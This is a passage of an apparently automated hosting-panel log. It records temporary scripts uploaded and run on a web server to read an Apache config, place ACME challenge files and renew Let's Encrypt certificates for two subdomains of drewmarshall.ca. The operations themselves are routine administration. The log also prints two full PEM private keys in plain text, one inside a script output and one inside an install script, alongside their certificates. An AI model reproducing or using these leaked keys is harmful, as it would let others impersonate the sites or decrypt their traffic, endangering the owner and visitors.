        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-18 06:02:18: 

chmod 755 /tmp/pkp523221; /tmp/pkp523221; rm /tmp/pkp523221

2026-07-18 06:02:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf	1429

<VirtualHost *:80>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-18 06:02:18: 

PUT: /tmp/pkp854089

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-18 06:02:18: 

chmod 755 /tmp/pkp854089; /tmp/pkp854089; rm /tmp/pkp854089

2026-07-18 06:02:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt	7449
cc:6b:0e:96:15:80:fa:f5:41:38:0a:0e:05:d9:fd:16

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBRdbW1+pChVFc3nNoDwL6WaPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzE4MDUwMzQ1WhcNMjYxMDE2MDUwMzQ0WjAnMSUwIwYDVQQD
Exxzb3Vsc3Vydml2b3IuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAhlonaYTOrRJnivJdh8cqobA79IErWkJtyNeuoL+NhLL4
rrve32se18hxhuMDY4pbJEfhMqATfz5baUfDM/8Vw4azGrKMouP6nj86t4I1Mn5x
7V5csxU5YGWHarA8cypP76jxdESvLFJSCUsvnJ1m64pJk7pVc9yz+kWVrxGfeAP7
OOZD1T6X4fWYO9w4HuVHACt+xymFvPGq8zT+CiUJ+pCYcHok250uHheVcAqjkKgm
0mDnOj1K3F8RUtyvdEkw8GXpFbnPOkNloVbrNop7Z2aj+xVzzseTyaMjmKc6r4ZX
F/8+Vmb+34VtOGWhUbj0/HPuJMit3dqP1+pSFIrefQIDAQABo4ICKjCCAiYwDgYD
VR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFBTFHzl79z8/jnj1qgH/eHyeZLofMB8GA1UdIwQYMBaAFB8vNb5G
FILNQLGueSxVePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3lyMS5pLmxlbmNyLm9yZy8wJwYDVR0RBCAwHoIcc291bHN1cnZpdm9yLmRy
ZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8veXIxLmMubGVuY3Iub3JnLzE2LmNybDCCAQwGCisGAQQB1nkC
BAIEgf0EgfoA+AB3AMijxH/Hs625NWsBP2p6Em3jOk5DpcZG+ZetOXWZHc+aAAAB
n3PReZgAAAQDAEgwRgIhAPp9WBGeTjJBgHUQQLv5KL8ArZbWmLTpraouPMZ1sayH
AiEA4qs4bJhIaB2AUDnzkh1kJ6Q9VNccnEAVy75Lv66FMucAfQAai51rD/6/gbR5
OcbSMQqG1tEC1PBG4hgsneNfXiYl7wAAAZ9z0XyUAAgAAAUAKuYrVAQDAEYwRAIg
TtK0CCj6PVbsRdBow4ak39mx3+RXO9CXRXW5ndu9FWkCIGmUi4TQnT6eVvRyfhSJ
JQK7shRQPFOI/C+f6cox6B1UMA0GCSqGSIb3DQEBCwUAA4IBAQCXTyF+qBDbRo3J
+liZlJi7uWzFcelhewU7FyA+mlxXWVQfJrprG+cYX9t/FDot3vE86hIIINmMQhqg
X548HUpEONQ//SM68gU1uXx3hfSAMYGX1YsSaPr1WcKUO40eNRJw1SvhsPP0xaD/
u33u9uPlGNA/7ff6L18u+ZYGqaPqKSoTlwbfqQmyyRnvZK38N8b2rEnmiV41ODNi
E7JVEuzov6SiRpajV1fAYvZ8PhHNshnPr7SG14NIJDv66r5kXjEll4coZAehA4YW
x883XdmQHulW23rm/ggahcxcrPSV2rrY3BtZiorRd/B+PfTfZLS5n8iWabT2ZdYS
mkWdK+bg
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCGWidphM6tEmeK
8l2HxyqhsDv0gStaQm3I166gv42Esviuu97fax7XyHGG4wNjilskR+EyoBN/Pltp
R8Mz/xXDhrMasoyi4/qePzq3gjUyfnHtXlyzFTlgZYdqsDxzKk/vqPF0RK8sUlIJ
Sy+cnWbrikmTulVz3LP6RZWvEZ94A/s45kPVPpfh9Zg73Dge5UcAK37HKYW88arz
NP4KJQn6kJhweiTbnS4eF5VwCqOQqCbSYOc6PUrcXxFS3K90STDwZekVuc86Q2Wh
Vus2intnZqP7FXPOx5PJoyOYpzqvhlcX/z5WZv7fhW04ZaFRuPT8c+4kyK3d2o/X
6lIUit59AgMBAAECggEAFRNvIQGeow4tjwxOjtO4Gi2OzOA3Kvgbx8jJ51lVUSP6
7fz2d/7nvjr+pYXW4hZyDhghOYiyC6EpGYln6QVoO8gq2ufNNxUOG3quHTErDjTs
GKwCXReEbNz7KB87Gb02qqZ1MOOWGpz+qzWPuQEE2bNTr9Moaj4M6m21ua/JNTwp
y1AligNnW3zOv2s5Vc7PhjX8xsqT0xQ+jRLlEMn5C35euL7zB9I7+2SpvLJh5UR8
FPbugoiL5hX1ExR7kEw1dXsaIlo/y9+HmIaDd+DksBir0khwGXQPSCYnUXLJ07dg
4bDltLS9jnk9wPHIWVCeYdMR9gj44bRI5NjFnG8ikwKBgQC8N+nk9F68UbQunkvr
zZsPzS+0uF7E7CeeY656IiIYQJFBDz6eL5FtZWKa5VP30mfEuDLNOlGPV2tDjpTo
3bF3DyCs1egK6dftcKGH7CS/dmXdMdw7SazFOnYfnTWAnBlhBfez2Zkwh7cP1ypP
T9InRYVd5v92r4YI6qQ+6HuXUwKBgQC2vD6n5D/6RM5xvWuxIJOLSL4JLaOqHEyG
iHFK0A1KXIfVVT8zSQnLckadkfxZWv8BieFSJLKg6e61JKUJqezpzyD28Ha41gVD
7BzYpnvQtXgNjQLk/1R7xp1eTHXO0FvX/AfyM1XywDQFN+h4+G+bd2QAIUr+9pcH
vkPvOhoI7wKBgF6gqdovNfXuCe2qLjdmToA6Q7LTQuo0ZJLQQOcshAG3bI/OD0hO
WAos/88qXvXodb1Ecl4V5O1xIP99DsaottFJ7L6YaKob+TBqAPwqMCuGZh44NCYm
m1MpWjv4uO5pDKVn76ofS1JH2TSAk8f+NIUEAdI9EdDk3DldZqguD/z7AoGAXafL
YRct5yIewNK5gDXXCPsGUwPuLwCEBCuoDRTmyubzw1YGp01W1MvD/3xT3qQxsGMv
dX9Tgf+DlZmrcHGD+C1tksKZxpACcNZxzmQ9bzGizycnhaCLd0jLXQpJEu9dMyx8
EhlXgqwZvVbzMhT6dq7RNPPbUSOnMpPEk7auo0cCgYB2RgpYrXUmLTtymMOsPAR5
Oftgbkqz77W2bev7xdJXfjp0cvkFQ6H+pKPkK5qqVBxQ0LBMtC8nFWS02+Y/ql5F
i1dRtBWyZTDkejRuIlv7/djA/Q7BjXf+PLbU9dFbM9viFjv8y3ts4a1KFdDUwEoY
sik+j/sWKmTlsCuSh+pmCA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-18 06:02:18: Establishing a connection
2026-07-18 06:02:18: Establishing a connection
2026-07-18 06:02:19: 

PUT: /tmp/pkp186383

#!/bin/bash
if [ -d "/var/www/drewmarshall_dgm/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-18 06:02:19: 

chmod 755 /tmp/pkp186383; /tmp/pkp186383; rm /tmp/pkp186383

2026-07-18 06:02:19: 


1


2026-07-18 06:02:19: Establishing a connection
2026-07-18 06:02:19: 

PUT: /tmp/pkp739658

#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cat > cpZwtaVFoE4J2Hy_IGeYRn6zbdti1ULJQzL0JatefHE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
cpZwtaVFoE4J2Hy_IGeYRn6zbdti1ULJQzL0JatefHE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 cpZwtaVFoE4J2Hy_IGeYRn6zbdti1ULJQzL0JatefHE


2026-07-18 06:02:19: 

chmod 755 /tmp/pkp739658; /tmp/pkp739658; rm /tmp/pkp739658

2026-07-18 06:02:19: 




2026-07-18 06:02:25: Establishing a connection
2026-07-18 06:02:25: 

PUT: /tmp/pkp391628

#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
rm cpZwtaVFoE4J2Hy_IGeYRn6zbdti1ULJQzL0JatefHE


2026-07-18 06:02:26: 

chmod 755 /tmp/pkp391628; /tmp/pkp391628; rm /tmp/pkp391628

2026-07-18 06:02:26: 




2026-07-18 06:02:26: Establishing a connection
2026-07-18 06:02:26: 

PUT: /tmp/pkp869589

#!/bin/bash
temp_file=$(mktemp)
TARGET=a6135b8cd991ffd075dad22986ca2d2f.crt

cat > $temp_file <<'endmsg'
c8:1d:50:a4:9d:ce:13:85:6e:24:c3:35:ed:44:5d:4e

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBdLy4G5iau3kBJAhs0He1C/AMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzE4MDUwMzU1WhcNMjYxMDE2MDUwMzU0WjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2fSCKHs/wLawIluPiNgUPGtitAkoeQbXYhtWsvU6TFblEJOI4/tn5nkb
ZtlHOmhXv7XAtgJwWGenRylwtEqsggYm1PWKeoG6L8IgHUQCT+DsPOYe/GhmjTVS
gJWe0RmO51aBGtItbBzRwB3gMzn1GnovoU5frMS1eGtsRWFa2nD38N+eTvMoO6fr
veukvNWlrAj8U3soWvevd68omUwS7YX0XfI55hFefJUK46awXCg3zxxNcBBxLdOP
/FQen0CP8yqoqEItns3bMMUGzlJbYJcjNj2PeD7NtJBIcwDIkgONh/E2Lb6uAZNB
kqWrG3yv4QMEiIbd37KtbtMBssLUHQIDAQABo4ICIDCCAhwwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FMbWz2hb7TRQX1z9bYnH69i/586AMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxV
ePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITZGdtLmRyZXdtYXJzaGFsbC5jYTATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8veXIxLmMu
bGVuY3Iub3JnLzY1LmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA9wB2AMijxH/H
s625NWsBP2p6Em3jOk5DpcZG+ZetOXWZHc+aAAABn3PRnuEAAAQDAEcwRQIgS0if
JIOP2w422yoJ04aNTS15fbGlf/lPgJb7+2DKoS8CIQCoMCAv2yh/Nlrk5Mq1CVvc
qgdG4pEnmd81RQ+UeVtuxwB9AEavhj07PuWfpXfeqCRdNrDZ7SKiI/Rhd0EilFLu
lVBfAAABn3PRnyQACAAABQANcvJbBAMARjBEAiAtFuNNszaO8cWF1aoVlZn/Qmw8
JzeICmAh9qLmaWvIUwIgHhufNVXCwsKl5SWRpV5UW5Ok62Q7ofws0l6EvWvV6M8w
DQYJKoZIhvcNAQELBQADggEBADbcU5i+g7zlsAdEh4sH48PKvfp8wy6oJupCwgaZ
mKBAQg/YFoW6sniEDYV4Hz6TvJGso7kFttEEeMQyTE3j0odppuuWO2MARCmzi9LD
MmxUOnUzAIUvhY/Ygfb2JTyyafZxjvq1wrM4N5/+It63TU9d3bKvLirPLHW/Ki5L
ZIUJR9p0r9kLNHlZ+rJxr1/rJ8cmoqApHoOAO2IlZYCJgfnN3UYoAKgTVTR6EjsM
mabVHQeo1RKg4wd10C0Tbd/bIXt3NbopP7tOPolOwo1Zz5k+5Q26fvaVo0RTFNE5
EtoZrFLZ+d0BMSbr/fyU7ISHYIqQZwRefWLVGh/eHi4SJOY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDZ9IIoez/AtrAi
W4+I2BQ8a2K0CSh5BtdiG1ay9TpMVuUQk4jj+2fmeRtm2Uc6aFe/tcC2AnBYZ6dH
KXC0SqyCBibU9Yp6gbovwiAdRAJP4Ow85h78aGaNNVKAlZ7RGY7nVoEa0i1sHNHA
HeAzOfUaei+hTl+sxLV4a2xFYVracPfw355O8yg7p+u966S81aWsCPxTeyha9693
ryiZTBLthfRd8jnmEV58lQrjprBcKDfPHE1wEHEt04/8VB6fQI/zKqioQi2ezdsw
xQbOUltglyM2PY94Ps20kEhzAMiSA42H8TYtvq4Bk0GSpasbfK/hAwSIht3fsq1u
0wGywtQdAgMBAAECggEACTMvSfgnMReaXbORs8wIe/hob9hcc1IHm2YzWwB2QoH/
JJulppdBGShkMLYxMdT1B0GWbdhdLPjLGyTeU1iSPuF1mChOfRdRaEdVxbEji9hJ
qym82xipDi2BsFh1yLZpzXgIS70yxPfTyWaOxSVyzs2jibfeL/5po+NHlwd3UfW+
Kn8eXdykRSSkfd2x5NLa3iRx5WHnOW4P9Kv/xHoXY4Wpu5hTbooP9T7/qgUv1Hn/
pMKgcAXtQEto5zXEu9/R8rQfx72P+AX1ek6fj+BYBFkxXPVdxaVONnpeOZdJiEN5
R+H0xTWyH9QhB8oW3JT6e4/9uqHxry4wcVXzgyqwwQKBgQDwAP8Cd/C+t/DPfwg7
oJZWjgytC4Wy2PZ0CwYS9UO3YFncI2Zbi4xzF+2VokY1Pwd7z+NZA5u/rM/zePLz
u+FI67T9PGw9dAo6mN3KoI6/vp/qkQu7oTdx9hmxoTgOBj5q9CljnklgrLtAlN8N
G5TmUbAteVQSEWrMkbpdeo8BzQKBgQDoe0+MK952jUk0gY/9zpj6sFtgepj0Qi++
pEgvG3RtarYUuBatkOND/QMNJQrNMryX9YLwSqzm+OrSp3heptxRMOlVD9lL6e4m
YiiFBjIsfP3RgmyV1hC317Q/xdRoiMb/STtoZnM8OXV9xnyd0GprNdK8aVVA+3vE
Z6fg6msLkQKBgQDutC7tp5k8Nvo9hd0MYRXllHarDZC2ZvAIToaGCIaHNj9poZPG
bS8NsbjNYI5vmva4f/VgrSQVKa3SPHN3U2AoBLcIPzZwkJ8z1KKTS8lukAvBYu3G
efwJTnoTn4N+/1rJSXp46A+XJXVAMFEAWnRn9stBDzE8nzIXsMEpBCKD6QKBgA/2
h5vEV14kjWZBjzWKPg7YlS2mvWHoOYcJmLtDU1dAAIijq0r3q+M7OD5q0LcOSMzW
WstNFVo2tUkJnsZBBte8WAkzMWR5B5UzID0iE8fiPTtpjTMso7E76nCGkPMskR1u
VdnxTvBPsbWVL3FWojgCVhoB0YzIt9LgmzJiZj9BAoGAQK4dlRP5yGUJ7Tk886ld
NA+OwcQIidrkbgElIlpzjv4/gMLIdhfPiFaCDiql1we+t90Hlghs3WzqYL3JEUGI
sWXiQ+O/SZiNbIr6htRBmDZ4z9B372HzlM3oMLg3/yHkSAHAYlS3wldwnJGRSAGW
FK67uGnMEB4z3nFdtFU/N38=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
